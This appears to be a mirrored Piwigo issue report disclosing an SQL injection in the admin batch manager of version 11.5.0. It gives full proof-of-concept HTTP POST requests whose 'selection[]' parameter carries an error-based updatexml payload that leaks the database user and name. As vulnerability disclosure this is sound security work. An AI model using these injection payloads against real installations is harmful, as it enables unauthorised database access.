adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-10-30 21:52:00 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

SQL injection in global batch manager in version 11.5.0 #1284

New Issue
Closed
opened 2026-10-05 00:38:45 +02:00 by adam · 0 comments
adam commented 2026-10-05 00:38:45 +02:00
Owner
Copy link
Copy source
  1. Login with admin
  2. send the following payload(Before sending, you need to modify the pwg_token and cookie in the data packet):
    db user:
POST /admin.php?page=batch_manager_global HTTP/1.1
Host: ctf.cn
Content-Length: 161
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: pwg_id=c7j45g3fkcocuh0sqcq5a8bpv2
Connection: close

pwg_token=a3e7ccb852d55740c43e54b63b8d3d48&selectAction=dissociate&submit=1&dissociate=2&selection[]=id) and updatexml(1,concat(0x7e,(user()),0x7e),1) and (1

image

db name:

POST /admin.php?page=batch_manager_global HTTP/1.1
Host: ctf.cn
Content-Length: 161
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: pwg_id=c7j45g3fkcocuh0sqcq5a8bpv2
Connection: close

pwg_token=a3e7ccb852d55740c43e54b63b8d3d48&selectAction=dissociate&submit=1&dissociate=2&selection[]=id) and updatexml(1,concat(0x7e,(database()),0x7e),1) and (1

image

1. Login with admin 2. send the following payload(Before sending, you need to modify the pwg_token and cookie in the data packet): db user: ``` POST /admin.php?page=batch_manager_global HTTP/1.1 Host: ctf.cn Content-Length: 161 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: pwg_id=c7j45g3fkcocuh0sqcq5a8bpv2 Connection: close pwg_token=a3e7ccb852d55740c43e54b63b8d3d48&selectAction=dissociate&submit=1&dissociate=2&selection[]=id) and updatexml(1,concat(0x7e,(user()),0x7e),1) and (1 ``` ![image](https://user-images.githubusercontent.com/20529213/131425692-52b26cc0-1031-4399-b253-53f5066d186d.png) db name: ``` POST /admin.php?page=batch_manager_global HTTP/1.1 Host: ctf.cn Content-Length: 161 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: pwg_id=c7j45g3fkcocuh0sqcq5a8bpv2 Connection: close pwg_token=a3e7ccb852d55740c43e54b63b8d3d48&selectAction=dissociate&submit=1&dissociate=2&selection[]=id) and updatexml(1,concat(0x7e,(database()),0x7e),1) and (1 ``` ![image](https://user-images.githubusercontent.com/20529213/131425359-1d331782-aaf7-4efa-8fe4-026fcd75dd1a.png) <!-- github-sync-id:983347335 -->
adam closed this issue 2026-10-05 00:38:45 +02:00
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#1284